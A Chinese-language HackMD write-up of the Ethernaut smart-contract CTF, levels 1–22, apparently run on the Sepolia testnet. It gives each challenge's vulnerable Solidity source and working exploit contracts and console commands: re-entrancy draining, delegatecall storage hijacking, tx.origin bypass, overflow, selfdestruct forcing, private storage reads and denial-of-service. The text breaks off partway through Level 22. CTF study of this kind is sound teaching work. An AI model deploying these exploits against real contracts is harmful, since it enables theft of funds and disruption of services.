Try   HackMD

Ethernuat Write Ups

前情提要:
https://decert.me/tutorial/solidity/intro

Level 1 Fallback

Victim's Address: 0x640ba57ADbCEbaD2E472c56E190EF120C4087589
第一次操作Remix IDE,胡亂胡亂終於搞懂了
Remix IDE 教學:https://decert.me/tutorial/solidity/tools/remix

Step 0. Start Instance
滑到底部,開啟,交易後按下 F12 就會看到當前協議的地址
image

Step 1. Deploy
把題目提供的solidity腳本貼到Remix IDE創建的新文件上面:
image

接著compile協議,然後去 deploy & run 選擇Injected錢包、Gas Limit調一下(不然很燒燃料費,本次使用50000),最後在 At Address調整一下地址成剛剛的協議地址
image

點開底部的Contracts,原則上應該在剛剛的地址建立協議了:

image

一排按鈕就是協議裡面public可檢視的內容,可以看到一開始owner不是自己~
image

Step 2. Exploit
任務:

  1. 變成owner
  2. 把錢提走

Source Code

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Fallback {
    mapping(address => uint256) public contributions;
    address public owner;

    constructor() {
        owner = msg.sender;
        contributions[msg.sender] = 1000 * (1 ether);
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "caller is not the owner");
        _;
    }

    function contribute() public payable {
        require(msg.value < 0.001 ether);
        contributions[msg.sender] += msg.value;
        if (contributions[msg.sender] > contributions[owner]) {
            owner = msg.sender;
        }
    }

    function getContribution() public view returns (uint256) {
        return contributions[msg.sender];
    }

    function withdraw() public onlyOwner {
        payable(owner).transfer(address(this).balance);
    }

    receive() external payable {
        require(msg.value > 0 && contributions[msg.sender] > 0);
        owner = msg.sender;
    }
}

觀察contribute,在contribution大小超過原本的owner時就可以成為新的owner,而withdraw方法做的事情就是透過onlyOnwer確認你是owner後就把錢都往你地址轉,就完成這題了!

Exploit: contribute -> owner(確認自己是owner) -> withdraw
P.S. contribute 1 wei的方法
image

Level 2 Fallout

任務:

  1. 變成owner

Source Code

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "openzeppelin-contracts-06/math/SafeMath.sol";

contract Fallout {
    using SafeMath for uint256;

    mapping(address => uint256) allocations;
    address payable public owner;

    /* constructor */
    function Fal1out() public payable {
        owner = msg.sender;
        allocations[owner] = msg.value;
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "caller is not the owner");
        _;
    }

    function allocate() public payable {
        allocations[msg.sender] = allocations[msg.sender].add(msg.value);
    }

    function sendAllocation(address payable allocator) public {
        require(allocations[allocator] > 0);
        allocator.transfer(allocations[allocator]);
    }

    function collectAllocations() public onlyOwner {
        msg.sender.transfer(address(this).balance);
    }

    function allocatorBalance(address allocator) public view returns (uint256) {
        return allocations[allocator];
    }
}

發現constructor函數外露,直接去請求Fal1out就變成owner了

Level 3 Coin Flip

Victim's Address: 0xBC01FBc340C413293489418b0A0c9A0C54336Ab9
題目要求:

  1. 連續預測正確十次

Source Code:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract CoinFlip {
    uint256 public consecutiveWins;
    uint256 lastHash;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor() {
        consecutiveWins = 0;
    }

    function flip(bool _guess) public returns (bool) {
        uint256 blockValue = uint256(blockhash(block.number - 1));

        if (lastHash == blockValue) {
            revert();
        }

        lastHash = blockValue;
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;

        if (side == _guess) {
            consecutiveWins++;
            return true;
        } else {
            consecutiveWins = 0;
            return false;
        }
    }
}

首先觀察,發現每次隨機是由區塊上的狀態取hash,所以只需要部署一個服務在相同的鏈上就可以取得相同的狀態,進而獲得當次的硬幣區塊。

Exploit.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Coinflip {
  function flip(bool _guess) external returns (bool);
}

contract FAKE_CoinFlip {
    Coinflip public target = Coinflip(0xBC01FBc340C413293489418b0A0c9A0C54336Ab9);
    uint256 lastHash;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    function FAKE_flip() public{
        uint256 blockValue = uint256(blockhash(block.number - 1));
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;
        target.flip(side);
    }
}

利用建立interface的方法把預測結果送到Victim's Contract, 呼叫十次Fake_flip就結束這回合ㄌ

P.S.可以自己把GAS Limit調小,打起來不會太貴
image

Level 4 Telephone

Victim's Address: 0xe905433025193D3CBF904601Aab36E6a82d6C591
任務:

  1. 變成owner

Source Code:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Telephone {
    address public owner;

    constructor() {
        owner = msg.sender;
    }

    function changeOwner(address _owner) public {
        if (tx.origin != msg.sender) {
            owner = _owner;
        }
    }
}

在solidity裡面,tx.origin是發起交易時會記錄在stack上面的起始位置,而msg.sender則單純看信息來源是誰,意味著使用tx.origin判斷使用者是誰是不安全的。
發起中間人攻擊
Exploit.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Telephone {
  function changeOwner(address _owner) external;
}

contract MitM {
    Telephone public target = Telephone(0xe905433025193D3CBF904601Aab36E6a82d6C591);
    function attack(address _owner) public{
        target.changeOwner(_owner);
    }
}

最後Deploy出去,再attack(自己的地址)即可。

Level 5 Token

一個基本的Token系統,初始進入時會給你20個token
任務:

  1. 讓自己的balance>20

Source code:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {
    mapping(address => uint256) balances;
    uint256 public totalSupply;

    constructor(uint256 _initialSupply) public {
        balances[msg.sender] = totalSupply = _initialSupply;
    }

    function transfer(address _to, uint256 _value) public returns (bool) {
        require(balances[msg.sender] - _value >= 0);
        balances[msg.sender] -= _value;
        balances[_to] += _value;
        return true;
    }

    function balanceOf(address _owner) public view returns (uint256 balance) {
        return balances[_owner];
    }
}

觀察到它使用了uint256進行資料儲存,所以儘管會檢查餘額,只要輸入像是

22561 之類的數字就可以完成Interger Overflow的攻擊,讓餘額變成
20+(22561)=21(mod2256)

image

Level 6 Delegation

任務:

  1. 變成owner

所謂的delegation,以這題而言就是可以在Delegation的合約裡調用Delegate的函數(不包含環境),而fallback函數則是被傳入空值時會調用到的函數,所以以這題而言發個空的pwn()過去Delegation合約即可。
不過這題如果想過呼叫一下Delegate合約的pwn()就好(X)

Source Code:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Delegate {
    address public owner;

    constructor(address _owner) {
        owner = _owner;
    }

    function pwn() public {
        owner = msg.sender;
    }
}

contract Delegation {
    address public owner;
    Delegate delegate;

    constructor(address _delegateAddress) {
        delegate = Delegate(_delegateAddress);
        owner = msg.sender;
    }

    fallback() external {
        (bool result,) = address(delegate).delegatecall(msg.data);
        if (result) {
            this;
        }
    }
}

具體利用方法為取得pwn()的Keccack-256 hash前4 bytes往Delegation送就好。
Online Keccack-256(link)
image

image

PWNED!!

Level 7 Force

Victim's address: 0x52C5746DA9D2Ebd076e06A3F99D3415132AA4129

一個空的合約
任務:

  1. 讓他的balance>0 ?!

啥玩意
Source Code:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Force { /*
                   MEOW ?
         /\_/\   /
    ____/ o o \
    /~____  =ø= /
    (______)__m_m)
                   */ }

在solidity裡面,如果在同一個net內,可以利用selfdestruct(addr)的方法將錢強制轉到地址addr,所以有了以下攻擊服務:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract SimpleWallet {
    event Deposit(address indexed sender, uint amount);

    constructor() {

    }
    
    function deposit() public payable {
        require(msg.value > 0, "Must send some ether");
        emit Deposit(msg.sender, msg.value);
    }

    function attack() public payable {
        address payable addr = payable(address(0x52C5746DA9D2Ebd076e06A3F99D3415132AA4129));
        selfdestruct(addr);
    }
}

先透過deposit轉入 1 wei 的錢,再利用attack函數觸發selfdestruct即可。

image

Level 8 Vault

任務:

  1. 送出正確的密碼

Source Code:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Vault {
    bool public locked;
    bytes32 private password;

    constructor(bytes32 _password) {
        locked = true;
        password = _password;
    }

    function unlock(bytes32 _password) public {
        if (password == _password) {
            locked = false;
        }
    }
}

在solidity中,把一個變數設為private僅代表它不會被其他合約調用,不等於查不到。
尋找方法(Remix IDE console):

web3.eth.getStorageAt(contract.address, 1)

image

拿到ㄌXD,透過unlock函數送回去即可。

Level 9 King

Victim's address: 0xa0E4564E6bb136c3563af930Fcd6f6ebBf8a6729
任務:

  1. 讓別人無法再轉帳進來

這個合約會訂定一個prize的值,如果你想成為King,你需要轉入大於prize的一筆錢,而你可以獲取以前的prize金額(龐氏騙局來著

Source Code:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract King {
    address king;
    uint256 public prize;
    address public owner;

    constructor() payable {
        owner = msg.sender;
        king = msg.sender;
        prize = msg.value;
    }

    receive() external payable {
        require(msg.value >= prize || msg.sender == owner);
        payable(king).transfer(msg.value);
        king = msg.sender;
        prize = msg.value;
    }

    function _king() public view returns (address) {
        return king;
    }
}

solidity裡面的transfer中,如果調用對象的地址是一個合約,那它會依序去觸發receive -> fallback

然而,今天如果攻擊者合約的fallback函數是壞掉的,並在一開始去轉帳佔領了目前King的身分,將會導致其他用戶無法轉帳成功並成為新的King。

Exploit.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract SimpleWallet {
    event Deposit(address indexed sender, uint amount);

    function deposit() public payable {
        require(msg.value > 0, "Must send some ether");
        emit Deposit(msg.sender, msg.value);
    }

    function attack() public payable {
        address payable addr = payable(address(0xa0E4564E6bb136c3563af930Fcd6f6ebBf8a6729));
        (bool success, ) = addr.call{value: 1000000000000001}("");
        require(success, "Transfer failed");
    }

    fallback() external payable{
        require(false);
    }
    
}

一樣部署在Remix IDE,先用deposit函數幫它充值一下再透過attack轉帳到Victim那

Level 10 Re-entrancy

Victim's address: 0x1A1D0331408f581F2566B57a2456286171d7F0a1
任務:

  1. 把所有錢領走

Source Code:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

import "openzeppelin-contracts-06/math/SafeMath.sol";

contract Reentrance {
    using SafeMath for uint256;

    mapping(address => uint256) public balances;

    function donate(address _to) public payable {
        balances[_to] = balances[_to].add(msg.value);
    }

    function balanceOf(address _who) public view returns (uint256 balance) {
        return balances[_who];
    }

    function withdraw(uint256 _amount) public {
        if (balances[msg.sender] >= _amount) {
            (bool result,) = msg.sender.call{value: _amount}("");
            if (result) {
                _amount;
            }
            balances[msg.sender] -= _amount;
        }
    }

    receive() external payable {}
}

重入攻擊
(Re-entrancy Attack),如上面的程式所示,withdraw函數是先用call把錢轉入對方帳戶再確認ammount,聽起來很正常
但今天如果轉入的帳戶地址是一個合約,並且fallback函數(承上題知識點:call進來的時候就會觸發fallback)會再次去請求Victim的withdraw?!

瞬間變成不斷卡在提款階段,導致根本沒辦法進行到amount的檢查

Exploit.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Reentrance{
    function donate(address _to) external payable;
    function withdraw(uint _amount) external;
    function balanceOf(address _who) external view returns (uint balance);
}

contract WhaleWallet {
    Reentrance public victim = Reentrance(0x1A1D0331408f581F2566B57a2456286171d7F0a1);

    address payable public target = payable(address(0x1A1D0331408f581F2566B57a2456286171d7F0a1));

    event Deposit(address indexed sender, uint amount);

    function deposit() public payable {
        require(msg.value > 0, "Must send some ether");
        emit Deposit(msg.sender, msg.value);
    }

    function attack() public payable {
        victim.donate{value: 0.0001 ether}(address(this));
        victim.withdraw(0.0001 ether);
    }

    fallback() external payable{
        victim.withdraw(0.0001 ether);
    }
    
}

Level 11 Elevator

Victim's address: 0xcFb281781d8f9a09EE3Ba9C400bCDBF6b284f06a
目標:

  1. 改變 floor 的值
  2. top 是 true

Source Code

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Building {
    function isLastFloor(uint256) external returns (bool);
}

contract Elevator {
    bool public top;
    uint256 public floor;

    function goTo(uint256 _floor) public {
        Building building = Building(msg.sender);

        if (!building.isLastFloor(_floor)) {
            floor = _floor;
            top = building.isLastFloor(floor);
        }
    }
}

它會去調用發送地址的isLastFloor函數,如果請求結果第一次是false,floor就會被更新,然後top會變成再次請求isLastFloot的結果。

想達成任務,只需要寫一個第一次會回傳false,第二次會回傳true的函數即可~

Exploit.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Elevator {
    function goTo(uint256 _floor) external;
}

contract WhaleHouse{
    uint256 public meow=0;
    Elevator public target = Elevator(0xcFb281781d8f9a09EE3Ba9C400bCDBF6b284f06a);
    function isLastFloor(uint256 floor) payable public returns(bool){
        if(meow==0){
            meow=1;
            return false;
        }
        else{
            return true;
        }
    }
    function attack() public payable{
        target.goTo(1);
    }
}

deploy好按下attack,最後檢查meow是不是變成1就知道是否通關了!

Level 12 Privacy

Victim's address: 0x2b7c7D52206360eD5797bB108cD4Ee24e2Daf367
任務:

  1. 拿到密碼通關

Source Code:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Privacy {
    bool public locked = true;
    uint256 public ID = block.timestamp;
    uint8 private flattening = 10;
    uint8 private denomination = 255;
    uint16 private awkwardness = uint16(block.timestamp);
    bytes32[3] private data;

    constructor(bytes32[3] memory _data) {
        data = _data;
    }

    function unlock(bytes16 _key) public {
        require(_key == bytes16(data[2]));
        locked = false;
    }

    /*
    A bunch of super advanced solidity algorithms...

      ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
      .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
      *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^         ,---/V\
      `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.    ~|__(o.o)
      ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'  UU  UU
    */
}

solidity儲存一格資料(slot)是256bits,編號從1開始。
所以一開始的bool locked因為後面接的是uint256的資料ID,會獨自占用一個slot,同理對於ID
接著後面三個資料flattening, denomination, awkwardness一起占用一個slot,最後就是data每項自己占用一格。

slot table:

index contents
1 locked(1 bit)
2 ID(256 bits)
3 flattening+denomination+awkwardness*(32 bits)
4 data[0](256 bits/32 bytes)
5 data[1](256 bits/32 bytes)
6 data[2](256 bits/32 bytes)

接下來就跟Level 8的Vault一樣了,取前16bytes資料送出,結案XD

web3.eth.getStorageAt('0x2b7c7D52206360eD5797bB108cD4Ee24e2Daf367', 5)

image

Level 13 Gatekeeper One

Victim's address: 0x7b23B267AC4CC8314a961F5575Ed8a4116cA8d5c
My wallet address: 0x4a63cD2DD88C72Bb47Fa8158c9b2be5294D5f05C
任務:

  1. 通過所有gate

Source Code:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperOne {
    address public entrant;

    modifier gateOne() {
        require(msg.sender != tx.origin);
        _;
    }

    modifier gateTwo() {
        require(gasleft() % 8191 == 0);
        _;
    }

    modifier gateThree(bytes8 _gateKey) {
        require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
        require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
        require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
        _;
    }

    function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
        entrant = tx.origin;
        return true;
    }
}

第一個gate就是過去tx.origin的繞過,建立一個attack service再由我們錢包發起,EZ
第二個gate就是進行爆破,讓gasfee最後可以通過即可。
第三個則是要構造通過gate three函數的payload,基本上動腦想想就好ㄌ
我是構造0xfaceb00c0000f05Cfaceb00c任意換成非零的東西都可以。

Exploit.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Exploit {
    function attack_(bytes8 _gateKey) public {
        for (uint256 i = 0; i < 1000; i++) {    
            (bool result,) = address(0x7b23B267AC4CC8314a961F5575Ed8a4116cA8d5c).call{gas:i + 8191 * 4}(abi.encodeWithSignature("enter(bytes8)",_gateKey));
            if (result) {
                break;
            }
        }
    }
}

Level 14 Gatekeeper Two

任務:

  1. 通過三個gate

Source Code:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperTwo {
    address public entrant;

    modifier gateOne() {
        require(msg.sender != tx.origin);
        _;
    }

    modifier gateTwo() {
        uint256 x;
        assembly {
            x := extcodesize(caller())
        }
        require(x == 0);
        _;
    }

    modifier gateThree(bytes8 _gateKey) {
        require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max);
        _;
    }

    function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
        entrant = tx.origin;
        return true;
    }
}

第一個gate老招數,中間人
第二個gate則是solidity的特性,他會計算地址的程式大小,但solidity不會把coonstructor算入程式大小
第三個gate就是簡單拿合約取hash xor即可

Exploit.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface GatekeeperTwo{
     function enter(bytes8 _gateKey) external returns (bool);
}

contract Exploit{
    constructor(address  target) {
        bytes8 payload = bytes8(uint64(bytes8(keccak256(abi.encodePacked(this)))) ^ type(uint64).max);
        GatekeeperTwo(target).enter(payload);
    }
}

Level 15 Naught Coin

任務:

  1. 把所有自己的Naught Coin Token轉走

一個繼承ERC 20的Token合約,可以參考這篇會比較清楚:https://news.cnyes.com/news/id/4981550

transfer protocol被鎖了,要等十年

Source Code:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";

contract NaughtCoin is ERC20 {
    // string public constant name = 'NaughtCoin';
    // string public constant symbol = '0x0';
    // uint public constant decimals = 18;
    uint256 public timeLock = block.timestamp + 10 * 365 days;
    uint256 public INITIAL_SUPPLY;
    address public player;

    constructor(address _player) ERC20("NaughtCoin", "0x0") {
        player = _player;
        INITIAL_SUPPLY = 1000000 * (10 ** uint256(decimals()));
        // _totalSupply = INITIAL_SUPPLY;
        // _balances[player] = INITIAL_SUPPLY;
        _mint(player, INITIAL_SUPPLY);
        emit Transfer(address(0), player, INITIAL_SUPPLY);
    }

    function transfer(address _to, uint256 _value) public override lockTokens returns (bool) {
        super.transfer(_to, _value);
    }

    // Prevent the initial owner from transferring tokens until the timelock has passed
    modifier lockTokens() {
        if (msg.sender == player) {
            require(block.timestamp > timeLock);
            _;
        } else {
            _;
        }
    }
}

因為他沒有幫transferFrom上鎖,但這在ERC20裡面依然可以轉帳
所以使用approve把自己的token領出來->transferFrom轉到instance帳號即可
P.S.記得把自己錢用balenceOf領乾淨w

balance = await contract.balanceOf(player).then(v => v.toString())
contract.approve(player, balance)
contract.transferFrom(player, instance, balance)

Level 16 Preservation

任務:

  1. 把自己變成owner

Victim's address: 0x7b23B267AC4CC8314a961F5575Ed8a4116cA8d5c
My wallet address: 0x4a63cD2DD88C72Bb47Fa8158c9b2be5294D5f05C

Source Code:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Preservation {
    // public library contracts
    address public timeZone1Library;
    address public timeZone2Library;
    address public owner;
    uint256 storedTime;
    // Sets the function signature for delegatecall
    bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

    constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) {
        timeZone1Library = _timeZone1LibraryAddress;
        timeZone2Library = _timeZone2LibraryAddress;
        owner = msg.sender;
    }

    // set the time for timezone 1
    function setFirstTime(uint256 _timeStamp) public {
        timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
    }

    // set the time for timezone 2
    function setSecondTime(uint256 _timeStamp) public {
        timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
    }
}

// Simple library contract to set the time
contract LibraryContract {
    // stores a timestamp
    uint256 storedTime;

    function setTime(uint256 _time) public {
        storedTime = _time;
    }
}

分析:
在Solidity裡,delegatecall是以呼叫的contract的方法所帶來的結果呈現在當前的contract內,所以如果layout不同就會造成問題

在LibraryContract裡面,他的layout長這樣:

Type Object
uint256 storedTime

而在Preservation裡:

Type Object
address timeZone1Library
address timeZone2Library
address owner
bytes4 setTimeSignature

所以只需要在第一次呼叫的時候傳入自架合約的地址就會覆蓋掉layout裡第一個的timeZone1Library地址,最後再透過setFirstTime讓他跳來本地呼叫setTime函數,並利用layout差異把owner換掉即可。
Exploit.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Preservation {
    function setFirstTime(uint256 _timeStamp) external;
    function setSecondTime(uint256 _timeStamp) external;
}

contract Exploit{
    address public timeZone1Library;
    address public timeZone2Library;
    address public owner;
    function attack (address my_addr) public{
        Preservation target=Preservation(0xb9d722739372d1d73b396b26c89ad18187245B34);
        target.setSecondTime(uint256(uint160(my_addr)));
        target.setFirstTime(uint256(uint160(0x4a63cD2DD88C72Bb47Fa8158c9b2be5294D5f05C)));
    }
    function setTime(uint256 time) public {
        owner=address(uint160(time));
    }
}

Level 17 Recovery

任務:

  1. 找到合約部署去哪裡
  2. 把錢轉到自己帳戶

Victim's address: 0x4934c73271203bB8B86617dC589f6Cd9006C9320
My wallet address: 0x4a63cD2DD88C72Bb47Fa8158c9b2be5294D5f05C

可以到 etherscan 網站上拿Victim地址去查(記得切到Sepolia Testnet
https://sepolia.etherscan.io/tx/0xb136a851e93d7bef55c1a74c8509b9cddc6ccbd7d9eb1c0f69efbdc88d5215d5
image

最後透過 destroy 函數把錢全部轉來自己這邊就好
P.S.題目給的合約地址就是一個部署器 :D
Source Code:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Recovery {
    //generate tokens
    function generateToken(string memory _name, uint256 _initialSupply) public {
        new SimpleToken(_name, msg.sender, _initialSupply);
    }
}

contract SimpleToken {
    string public name;
    mapping(address => uint256) public balances;

    // constructor
    constructor(string memory _name, address _creator, uint256 _initialSupply) {
        name = _name;
        balances[_creator] = _initialSupply;
    }

    // collect ether in return for tokens
    receive() external payable {
        balances[msg.sender] = msg.value * 10;
    }

    // allow transfers of tokens
    function transfer(address _to, uint256 _amount) public {
        require(balances[msg.sender] >= _amount);
        balances[msg.sender] = balances[msg.sender] - _amount;
        balances[_to] = _amount;
    }

    // clean up after ourselves
    function destroy(address payable _to) public {
        selfdestruct(_to);
    }
}

Level 18 MagicNumber

任務:

  1. 用 <=10 bytes opcode 寫一個合約只return 42

芝士點:
首先,一個合約的OPCODE分為Creation Code和Runtime Code,而extcodesize檢查的是Runtime Code Size。
再來,EVM OPCODE中所操作的元素都在Stack上面,先推進去就最後出來。
而執行中的資料儲存預設會在memory的0x80後開始寫。
再來是各種opcode的呼叫對照表:https://www.evm.codes/
根據上述資訊,就可以把Runtime Code寫出來:

PUSH1 0x2a // 42
PUSH1 0x80 // memory offset
MSTORE //把0x2a存到memory的0x80上,MSTORE一次是32bytes的資料
PUSH1 0x20 // size (bytes)
PUSH1 0x80 // memory offset
RETURN //把0x20 bytes大小,在memory 0x80上的資料回傳

再來是 Creation Code,簡單來說就是把Runtime Code return出去

PUSH1 0x0a // Runtime Code 大小
PUSH1 0x0c // 讀取的offset(這組Creation Code是0x00~0x0b,所以從0x0c開始)
PUSH1 0x00 // 寫入的offset(放Runtime Code)
COPYCODE // 把0x0c開始,大小10 bytes的Runtime Code Copy到0x00上
PUSH1 0x0a // size (bytes)
PUSH1 0x00 // memory offset
RETURN

Exploit.sol
最後照送就好

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface MagicNum{
    function setSolver(address _solver) external;
}
contract Exploit{
    function attack() external {
        /*
        PUSH1 0x0a
        PUSH1 0x0c
        PUSH1 0x00
        COPYCODE
        PUSH1 0x0a
        PUSH1 0x00
        RETURN
        PUSH1 0x2a
        PUSH1 0x80
        MSTORE
        PUSH1 0x20
        PUSH1 0x80
        RETURN
        */
        bytes memory code="\x60\x0a\x60\x0c\x60\x00\x39\x60\x0a\x60\x00\xf3\x60\x2a\x60\x80\x52\x60\x20\x60\x80\xf3";
        address solver;
        assembly{
            solver:=create(0, add(code, 0x20), mload(code))
        }
        MagicNum(0x24705F72074419Cd0458A58C6dDC2DFEfA6B3F2a).setSolver(solver);
    }
}

Level 19 Alien Codex

任務:

  1. 把自己變成 owner

Victim's address: 0xa6041A6eE07862C349Cb9497c698BCf14c6be8F0
My wallet address: 0x4a63cD2DD88C72Bb47Fa8158c9b2be5294D5f05C

Source Code:

// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;

import "../helpers/Ownable-05.sol";

contract AlienCodex is Ownable {
    bool public contact;
    bytes32[] public codex;

    modifier contacted() {
        assert(contact);
        _;
    }

    function makeContact() public {
        contact = true;
    }

    function record(bytes32 _content) public contacted {
        codex.push(_content);
    }

    function retract() public contacted {
        codex.length--;
    }

    function revise(uint256 i, bytes32 _content) public contacted {
        codex[i] = _content;
    }
}

上github看一下就會知道Owner合約就是一個定義了owner, owner group等資訊的庫,沒什麼可以下手的點 🤔
再來,bytes32[]在solidity裡是一個動態的陣列,它在slot的位置會是儲存它資料大小的變數的位置取keccak256 hash後的數,而slot的大小最多就是

22561個。
利用合約裡面的record功能就能知道它在slot[1]的位置,而0上面就是一個bool以及owner的資訊
layout一下:

slot index Type Object
0 bool, address contact, owner
1 uint256 len(codex)
keccak256(1) bytes32 codex[0]
keccak256(1)+1 bytes32 codex[1]
22561
bytes32 codex[
22561
-keccak256(1)]

然而,在solidity 0.8.0 以前都不會做overflow的檢查,這也意味者去存取codex[$2^{256}-1$-keccak256(1)]上的資料就會覆蓋回去slot[0]的資料!
最後按照這個思路寫exploit就好ㄌ

Exploit.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface AlienCodex{
    function makeContact() external;
    function record(bytes32 _content) external;
    function retract() external;
    function revise(uint256 i, bytes32 _content) external;
}

contract Exploit{
    function attack() public{
        AlienCodex target = AlienCodex(0xa6041A6eE07862C349Cb9497c698BCf14c6be8F0);
        target.makeContact();
        target.retract();
        uint256 id=((2 ** 256) - 1) - uint256(keccak256(abi.encode(1))) + 1;
        target.revise(id, bytes32(uint256(uint160(0x4a63cD2DD88C72Bb47Fa8158c9b2be5294D5f05C))));
    }
}

Level 20 Denial

任務:

  1. 阻斷合約服務

Source Code:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Denial {
    address public partner; // withdrawal partner - pay the gas, split the withdraw
    address public constant owner = address(0xA9E);
    uint256 timeLastWithdrawn;
    mapping(address => uint256) withdrawPartnerBalances; // keep track of partners balances

    function setWithdrawPartner(address _partner) public {
        partner = _partner;
    }

    // withdraw 1% to recipient and 1% to owner
    function withdraw() public {
        uint256 amountToSend = address(this).balance / 100;
        // perform a call without checking return
        // The recipient can revert, the owner will still get their share
        partner.call{value: amountToSend}("");
        payable(owner).transfer(amountToSend);
        // keep track of last withdrawal time
        timeLastWithdrawn = block.timestamp;
        withdrawPartnerBalances[partner] += amountToSend;
    }

    // allow deposit of funds
    receive() external payable {}

    // convenience function
    function contractBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

很簡單,他withdraw裡面的partner.call雖然不會去管回傳是true還是false,但想阻斷服務只要寫個receive函數是死的while迴圈即可XDD

Exploit.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Exploit{
    fallback() external payable{
        while(true){}
    }
}

Level 21 Shop

任務:

  1. 把合約的price改低

Source Code:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Buyer {
    function price() external view returns (uint256);
}

contract Shop {
    uint256 public price = 100;
    bool public isSold;

    function buy() public {
        Buyer _buyer = Buyer(msg.sender);

        if (_buyer.price() >= price && !isSold) {
            isSold = true;
            price = _buyer.price();
        }
    }
}

在solidity的view函數裡,不可以進行會改變內部變數的行為或調用非view, pure的函數。
但這題可以利用victim合約裡的isSold變數進行繞過,進而再次進行請求

Exploit.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface Shop {
    function isSold() external view returns (bool);
    function buy() external;
}

contract Buyer{
    Shop target=Shop(0x8593Fdcb20E14E6c2707209299979435e25f7B7C);
    function price() public view returns (uint256){
        if (target.isSold()) return 99;
        else return 101;
    }
    function attack() public{
        target.buy();
    }
}

Level 22 DEX

任務:

  1. 把其中一個token領到剩0元

合約一開始會有各100個token,並且user會有各十個token

Source Code:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "openzeppelin-contracts-08/token/ERC20/IERC20.sol";
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
import "openzeppelin-contracts-08/access/Ownable.sol";

contract Dex is Ownable {
    address public token1;
    address public token2;

    constructor() {}

    function setTokens(address _token1, address _token2) public onlyOwner {
        token1 = _token1;
        token2 = _token2;
    }

    function addLiquidity(address token_address, uint256 amount) public onlyOwner {
        IERC20(token_address).transferFrom(msg.sender, address(this), amount);
    }

    function swap(address from, address to, uint256 amount) public {
        require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
        require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
        uint256 swapAmount = getSwapPrice(from, to, amount);
        IERC20(from).transferFrom(msg.sender, address(this), amount);
        IERC20(to).approve(address(this), swapAmount);
        IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
    }

    function getSwapPrice(address from, address to, uint256 amount) public view returns (uint256) {
        return ((amount * IERC20(to).balanceOf(address(this))) / IERC20(from).balanceOf(address(this)));
    }

    function approve(address spender, uint256 amount) public {
        SwappableToken(token1).approve(msg.sender, spender, amount);
        SwappableToken(token2).approve(msg.sender, spender, amount);
    }

    function balanceOf(address token, address account) public view returns (uint256) {
